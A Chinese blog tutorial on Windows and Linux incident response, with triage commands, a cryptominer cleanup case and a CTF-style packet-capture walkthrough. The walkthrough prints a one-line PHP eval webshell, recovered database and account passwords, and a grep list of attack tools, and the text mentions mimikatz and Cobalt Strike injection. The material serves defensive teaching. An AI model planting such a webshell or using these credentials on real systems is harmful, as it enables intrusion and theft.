玩命加载中 . . .

应急响应基础


一、应急响应概念

为应对计算机和网络信息中的突发安全事件前的准备工作和事件后的处置措施

二、应急响应的流程

image-20221121203846077

三、实操排查点

image-20221121213700753

(1)、windows应急响应

1.检查系统账户安全
1.1 已有账号和远程管理端口

检查服务器已有系统或应用账号是否有弱口令,3389端口是否对外公网开放

  • 系统管理员账号
  • 网站后台账户
  • 数据库账户
  • FTP
  • Tomcat
  • phpMyAdmin

查看当前登录账号:query user

image-20221121230719708

使用logoff ID 命令注销已登录用户(会注销到账号登录界面),当可疑账号出于登录状态时,也可以使用mimikatz抓取密码

1.2 可疑账户、新增账户

检查服务器内是否有可疑账户、新增账户

检查方法: 打开cmd,输入lusrmgr.msc命令,查看是否有新增/可疑的账户

image-20221121231921864

wmic UserAccount get列出当前系统所有账户(与查看lusrmgr结果一样,无法看到隐藏账户)

image-20221121232118396

1.3 查看服务器是否存在隐藏账户、克隆账户
  1. 对于添加$符号的隐藏账户

使用下面命令:net localgroup administrators(一般攻击者添加账户为管理组)或计算机管理查看

image-20221121234310385

image-20221121234402272

  1. 对于修改注册表的隐藏账户

无法在”计算机管理”中看到,打开注册表,右键权限修改管理员权限

image-20221121235227431

退出注册表从进,查看Users表项目于Names表项中的项数量是否一致或者把这里存在的账户和计算机管理中存在的账户进行比较,多出来的账户就是隐藏账户。直接删除以隐藏账户命名的项。

image-20221121235733501

1.4 工具使用
  1. D盾

image-20221122000357086

  1. pchunter

image-20221122000537222

2.检查异常端口、进程
2.1 检查端口连接情况,是否有远程连接、可疑连接
  1. 端口状态查看

image-20221122000912413

管理员权限下:netstat -anob查看占用端口的应用情况

image-20221122002844832

-a 显示所有连接和监听端口。
-b 显示包含于创建每个连接或监听端口的可执行组件。在某些情况下已知可执行组件拥有多个独立组件,并且在这些情况下包含于创建连接或监听端口的组件序列被显示。这种情况下,可执行组件名在底部的 [] 中,顶部是其调用的组件等等,直到 TCP/IP部分。注意此选项可能需要很长时间,如果没有足够权限可能失败。

-n 以数字形式显示地址和端口号。
-o 显示与每个连接相关的所属进程 ID。

  1. 查看路由表

netstat -rn

image-20221122003507339

-r 显示路由表

  1. 进程定位

根据netstat定位出pid,再通过tasklist命令进行进程定位

tasklist | findstr "pid"

image-20221122004010582

  1. 防火墙配置

控制面板–>windows防火墙–>高级设置 入站策略和出站策略 查看防火墙入站和出站规则

image-20221122004351321

命令netsh firewall show all

image-20221122004621958

  1. 工具使用

PChunter、火绒剑、DNSQuerySniffer

使用火绒剑、PChunter查看网络连接

PChunter:

image-20221122010431213

火绒剑: 可着重查看 未知文件,远程地址为 外部地址,状态为 ESTABLISHEDLISTEN的连接,另外需要注意模块路径是否正确。

image-20221122010650945

DNSQuerySniffer:DNS解析查询工具。可以通过此工具确定访问恶意域名的端口,该工具还可以将访问过的所有域名记录下来,重点关注红色记录的端口、响应代码、A记录(双击查看)

image-20221122011346787

2.2 检查进程
  1. 没有签名验证信息的进程

  2. 没有描述信息的进程

  3. 进程的属主

  4. 进程的路径

  5. 进程的占用

a、cmd查看

tasklist /? 查看tasklist 命令的使用

image-20221122172910830

查看进程对应的服务

tasklist /svc

image-20221122173123241

查看指定进程对应详情

tasklist /svc |findstr pid

image-20221122173318863

查看加载的DLL进程 查看DLL劫持

tasklist /m |findstr pid

image-20221122173444396

b、powershell 查看进程

get-process

image-20221122173824735

c、系统应用查看

开始输入msinfo

image-20221122174149913

image-20221122174230331

d、工具排查

没有厂商名称、没有签名信息、没有描述信息、CPU占用高

Pchunter:

黑色为微软官方进程、蓝色为外界进程、红色为可疑进程

image-20221122174730419

image-20221122174837603

ProcessExplorer(微软官方):

image-20221122175338260

3.检查启动项目、计划任务、服务
3.1 开机启动项目
  1. windows7 启动目录

image-20221122175725595

windows10:

image-20221122180232359

image-20221122180252067

开始菜单启动项:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

cmd:image-20221122180941054

系统自动启动的的目录: shell:Common Startup
用户自动启动的的目录: shell:Startup

  1. 任务管理器”启动”列表

    在任务管理器里查看

image-20221122195705295

  1. 注册表内启动项

WIN+R 输入 regedit,打开注册表,查看开机启动项是否正常,有异常删除,并安装杀毒软件进行病毒查杀,清楚残留病毒或木马

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

image-20221122202611188

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

image-20221122202644324

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

重启就会被清空

image-20221122202910984

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

image-20221122203003971

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

image-20221122203314926

排查发现计划任务可以计算MD5值看该进程与启动项是否一致

certutil -hashfile file md5

防止攻击者替换启动项目文件

image-20221122204533422

  1. 组策略编辑器

运行gpedit.msc

image-20221122205040862

image-20221122205106139

  1. 工具排查

pchunter:

image-20221122205351415

Autoruns 微软官方: 黄色红色比较可疑

image-20221122205829989

image-20221122210058091

WMI后门:无文件,相对难排查

image-20221122210423873

3.2 计划任务

taskschd.msc,查看计划任务属性,查看疑似木马文件的路径

image-20221122210649317

image-20221122211747343

CMD schtasks.exe

image-20221122212238061

3.3 服务
  1. 服务自启动检查

image-20221122212759771

image-20221122212911981

  1. 进程注入

cs进程注入:

image-20221122231729198

image-20221122232007190

上线成功:

image-20221122232028823

ProcessExplorer(微软官方):

image-20221122234310140

image-20221122234806828

火绒剑:

image-20221122234923441

4.检查系统相关信息及文件排查
4.1 查看系统信息
  1. msinfo32

image-20221122235524031

image-20221122235515832

重点看正在运行的任务、服务、系统驱动程序、加载的模块、启动程序

4.2 查看可疑目录文件
  1. 可疑进程 cpu利用率 进程名 时间—->文件

powershell:Get-ChildItem

cmd:dir dir /r 隐藏文件 dir /x 短文件名

Everything:

c: <*.exe | *.bat> dm:2022/11/10-2022/11/22 size:>1mb

image-20221123002754599

C: 表示盘符,如果是 C 盘、D 盘,对应的修改就行了。

<*.exe | *.bat>, 表示任意的以 .exe 或 .bat 结尾的文件,* 为通配符。

dm:2022/11/10-2022/11/22 表示修改时间为2022/11/10-2022/11/22间的文件,这里要与系统设置的时间格式保持一致,如果是月份在前,那这里也相应的修改一下。

size:>1mb:设置文件大小

  1. 注册表查看已安装应用程序目录:

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

image-20221123003825062

  1. 查看用户目录

新建账户会在这个目录生成一个用户目录,查看是否有新建用户目录。就是c盘用户目录一般几个用户就会有几个文件夹。

image-20221123004823764

windows 2000/xp/2003 C:\Documents and Settings

  1. 其他位置文件

回收站、浏览器下载目录(c盘下载和浏览器默认下载路径)、浏览器历史记录、系统临时文件、浏览器cookie信息

  1. 时间

修改时间早于创建时间

(2)、Linux 应急响应

1. 进程
1.1 查看占用大量CPU/RAM的进程

top

image-20221126193139968

1.2 进程树

ps -auxwf

image-20221126203249165

1.3 开放的网络端口
netstat -nalp
ss -a -e -i
lsof [many opitons]

image-20221126203750567

1.4 查找被删除但还在运行的程序
ls -alR /proc/*/exe 2> /dev/null |grep deleted
1.5 进程相关名称及命令
strings /proc/<PID>/comm
strings /proc/<PID>/cmdline

image-20221126205429560

image-20221126205518808

1.6 进程实际路径

ls -al /proc/<PID>/exe

image-20221126205718417

1.7 进程执行时环境变量

strings /proc/<PID>/environ

image-20221126205852982

1.8 查看所有进程执行目录
ls -alR /proc/*/cwd

image-20221126210010721

1.9 查看在tmp dev 目录下执行的程序
ls -alR /proc/*/cwd 2> /dev/null | grep tmp
ls -alR /proc/*/cwd 2> /dev/null | grep dev
2. 目录

需要检查的目录

/tmp, /var/tmp, /dev/shm, /var/run,
/var/spool, user home directories

常用命令:

ls -alp path

image-20221126210339087

查找隐藏文件:

find / -d -name ".*"

3. 文件

查找设置属性为不可修改的文件

lsattr / -R 2> /dev/null | grep "\----i"

查找设置为SUID/SGUID的文件

find / -type f \( -perm -04000 -o -perm -02000 \) -exec ls -lg {} \;

image-20221126210723623

查找没有用户/组名称的文件

find / \( -nouser -o -nogroup \) -exec ls -lg {} \;

列出当前目录中的所有文件类型

file * -p

查找可执行文件

find / -type f -exec file -p '{}' \; | grep ELF
find /tmp -type f -exec file -p '{}' \; | grep ELF 

image-20221126210851675

最近一天有修改(modified/created)的文件

find / -mtime -1

可存放后门持久化的目录

/etc/rc.local, /etc/initd, /etc/rc*.d, /etc/modules, /etc/cron*, /var/spool/cron/*

查找已经修改的包文件

rpm -Va | grep ^..5.
debsums -c
4. 用户

查找所有ssh公钥文件

find / -name authorized_keys

image-20221126211156439

查找所有用户历史日志文件

find / -name .*history

查找历史日志文件重定向到/dev/null

ls -alR / 2> /dev/null | grep .*history | grep null

查看root用户/组

grep ":0:" /etc/passwd

image-20221126211250500

检测sudoers 文件

cat /etc/sudoers
cat /etc/group

image-20221126211334218

image-20221126211512568

检查计划任务

crontab -l
atq
systemctl list-timers --all
5. 日志

查找大小为0的文件

ls -al /var/log/*

审计登录日志

utmpdump /var/log/wtmp
utmpdump /var/run/utmp
utmpdump /var/log/btmp
last
lastb

image-20221126211839156

image-20221126211924378

查找包含有二进制文件的日志

grep [[:cntrl:]] /var/log/*.log

/var/log/secure:安全日志
/var/log/cron:定时任务日志
/var/log/yum.log:软件安装卸载日志
/var/log/maillog:邮件相关
登录成功:more /var/log/secure* | grep “Accepted password”
登录失败:more /var/log/secure* | grep “Failed password”
本机登录情况:more /var/log/secure* | grep -E “sshd:session.session opened”
新增用户:more /var/log/secure
| grep “new user”
传输文件:more /var/log/message* | grep “ZMODEM:.BPS”
定时任务日志:more /var/log/cron

定时执行脚本:more /var/log/cron* | grep -E “.py$|.sh$|.pl$”
下载软件情况:more /var/log/yum* | grep Installed
卸载软件情况:more /var/log/yum* | grep Erased
可疑工具:more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |
uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”
错误登录:Lastb
所有用户最后一次登录:Lastlog
所有用户登录日志:last | grep pts | grep -vw :0ü /var/log/secure:安全日志
/var/log/cron:定时任务日志
/var/log/yum.log:软件安装卸载日志
/var/log/maillog:邮件相关
登录成功:more /var/log/secure* | grep “Accepted password”
登录失败:more /var/log/secure* | grep “Failed password”
本机登录情况:more /var/log/secure* | grep -E “sshd:session.session opened”
新增用户:more /var/log/secure
| grep “new user”
传输文件:more /var/log/message* | grep “ZMODEM:.BPS”
定时任务日志:more /var/log/cron

定时执行脚本:more /var/log/cron* | grep -E “.py$|.sh$|.pl$”
下载软件情况:more /var/log/yum* | grep Installed
卸载软件情况:more /var/log/yum* | grep Erased
可疑工具:more /var/log/yum* | awk -F: ‘{print $NF}’ | awk -F ‘[-]’ ‘{print $1}’ | sort |
uniq | grep -E “(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)”
错误登录:Lastb
所有用户最后一次登录:Lastlog
所有用户登录日志:last | grep pts | grep -vw :0

四、案例

1.windows 应急响应

1.1 检查

系统 ————> windows server2008

风扇噪声很大 —-> 中毒

无web服务 —–> 推测横向移动或恶意软件

1.2 抑制

现象为风扇噪音大,先排查cpu占用与进程

image-20221123193556807

image-20221123194048924

未发现其他疑似恶意程序,查看该程序

image-20221123193943158

image-20221123195140671

image-20221123195728183

image-20221123195744683

image-20221123195831270

发现存在恶意连接

image-20221123201827531

image-20221123202319528

先kill掉该进程,结束进程后,发现还会恢复,可能存在计划任务

image-20221123202628794

1.3 根除

因为存在自启动先检查计划任务、服务、开机启动项目相关启动信息

image-20221123204044597

image-20221123204647080

发现存在计划任务,继续查看你自动服务,并未发现恶意自动服务

image-20221123204431696

image-20221123204713009

查看开机启动项目

image-20221123204827859

综上:目前启动项目只有计划任务,先将该任务暂停,在kill

image-20221123205253808

image-20221123205353208

等待几分钟中,发现不存在该进程自启动了

总结已处理情况:

  • 挖坑木马位置C:\Users\Administrator\Downloads\wkbd\wkbd

  • ‎发生时间2022‎年‎3‎月‎23‎日,‏‎9:39:13

  • 获取的到的主机权限Administrator

继续排查所有windows可疑项目

检查windows 系统账户安全:

image-20221124210628463

image-20221124211159042

image-20221124212059757

发现存在隐藏账户,删除指定注册表项目就可以了

检查系统杂项发现辅助功能劫持

image-20221124213103262

辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。

锁屏状态下连续按5下shift确实调用cmd

image-20221124213706550

查看对应注册表项目

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

image-20221124214136333

删除对应的项目

image-20221124214202166

继续总结一下目前情况:

  • 挖坑木马位置C:\Users\Administrator\Downloads\wkbd\wkbd

  • ‎发生时间2022‎年‎3‎月‎23‎日,‏‎9:39:13

  • 获取的到的主机权限Administrator

  • 做了xiaoge$隐藏账户的添加

  • 辅助功能粘滞键被劫持

继续排查系统相关信息及文件排查:

未发现威胁项目

image-20221124214637970

文件检查:

image-20221124215248159

image-20221124215200199

image-20221124220422498

进一步总结:

  • 挖坑木马位置C:\Users\Administrator\Downloads\wkbd\wkbd

  • ‎发生时间2022‎年‎3‎月‎23‎日,‏‎9:39:13

  • 获取的到的主机权限Administrator

  • 做了xiaoge$隐藏账户的添加

  • 辅助功能粘滞键被劫持

  • 恶意软件Services.exe

  • 恶意软件WmiApSvr.exe

所有关键项目都检查完毕,现在要排查是怎么进去的,因为获取到Administrator权限,该服务器没有web服务,首先推测为暴力破解

image-20221124223259785

导出另存为

image-20221124223631482

使用分析工具查看:

evtxLogparse.exe -s fail 

image-20221124224857065

2022-03-21 16:26:27 存在smb暴力破解

image-20221124225029994

总结:2022-03-21 16开始进行远程登录,并创建隐藏账户,进行远程登录,上传恶意文件Services.exe、WmiApSvr.exe,2022-03-23 9时继续登录上传恶意程序,并创建定时任务和辅助功能粘滞键劫持

1.4 恢复
  1. 更换Administrator密码,重启服务器
  2. 注册表删除xiaoge$用户
  3. 删除恶意程序Services.exe、WmiApSvr.exe
  4. 删除定时任务system
  5. 结束进程javs.exe并删除文件
  6. 注册表删除辅助功能粘滞键
  7. 观察后续情况
1.5 建议
  1. 安装edr、杀软
  2. 制定密码强度管理制定

2.流量分析

某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务器,破解了后台的账户密码,随之利用破解的账号密码登陆了mail系统,然后获取了vpn的申请方式,然后登陆了vpn,在内网pwn掉了一台打印机,请根据提供的流量包回答下面有关问题

2.1某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器

扫描器一般伴随着大量请求,筛选GET请求,查看

http.request.method == GET

image-20221125013716397

image-20221125013403577

所有可以判断是awvs扫描器

2.2 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)

有上面get请求包含admin路径,推测后台地址包含admin,请求类型为POST,因为要传输值

http.request.full_uri contains admin && http.request.method == POST

image-20221125020537395

所以后台地址admin/login.php

2.3 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)

登录成功一般伴随着302重定向到管理员页面,可能还会有js的加载,所以我们查看出现不同于admin/login.php,就说明爆破成功,被重定向了

image-20221125195012723

image-20221125200022847

image-20221125200253590

可以看到获取到两个账户密码

image-20221125200656277

账户:人事 密码:hr123456

image-20221125201028374

账户:admin 密码:admin!@#pass123

2.4 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码

images下php文件,流量特征蚁剑,所以webshell名称a.php

image-20221125201353818

过滤webshell,根据密码1234

tcp contains "1234" && tcp contains ".php"

image-20221125224724490

所以提交的内容

<?php @eval($_POST[1234]);?>
2.5 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么

直接搜索就行http contains "robots.txt"

image-20221125225002331

flag:87b7cb79481f317bde90c116cf36084b

2.6 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少

查看黑客执行的命令http contains "/images/article/a.php" || tcp contains "/images/article/a.php

image-20221125230612212

image-20221125230552517

读取了product_category.php,包含的配置文件init.php 黑客下一步就要读取这个文件

image-20221125231021586

黑客读取了还是没有数据库账户密码

image-20221125231205461

继续读取:

image-20221125231756172

所以获取的账户密码:

// database username

$dbuser   = "web";

// database password

$dbpass   = "e667jUPvJjXHvEUv";
2.7 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么

直接搜索:tcp contains "hash_code" || http contains "hash_code"

image-20221125232619625

所以得到的hash_code:d1c029893df40cb0f47bcf8f1c3c17ac

2.8 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么

直接搜索:tcp contains "ijnu@test.com" || http contains "ijnu@test.com"

image-20221125232933896

image-20221125233247500

所以得到的密码:edc123!@#

2.9 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip

继续看蚁剑流量http contains "/images/article/a.php" || tcp contains "/images/article/a.php

image-20221125234743638

网卡信息:

image-20221125234842710

2.10 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password)

直接搜索登录url:http contains "/webmail/index.php?module=operate&action=login&web=1"

直接看最后一个就行,因为最后一个一般都是爆破成功的

image-20221126001857088

image-20221126002010705

账户:test.com 密码:+ZgE14UGcFcyRGLI0/ZXPQ==

密码前端加密后,看下前端的混淆

image-20221126002129166

image-20221126003638857

所以账户:test.com 密码:admin!@#PASS123

2.11 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少

image-20221126005643823

vpn的ip是:10.3.4.3


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
 本篇
应急响应基础 应急响应基础
一、应急响应概念为应对计算机和网络信息中的突发安全事件前的准备工作和事件后的处置措施 二、应急响应的流程 三、实操排查点 (1)、windows应急响应1.检查系统账户安全1.1 已有账号和远程管理端口检查服务器已有系统或应用账号是否有弱口
2022-11-26
下一篇 
内存马分析与处置实验记录 内存马分析与处置实验记录
一、找到命令执行 构造命令执行: 二、使用哥斯拉进行连接注入内存马 访问xx已存在 三、日志分析 内存 工具检测: memshell: 哥斯拉内存马 cop.jar VisualVM 四、处置 index2
2022-11-08
  目录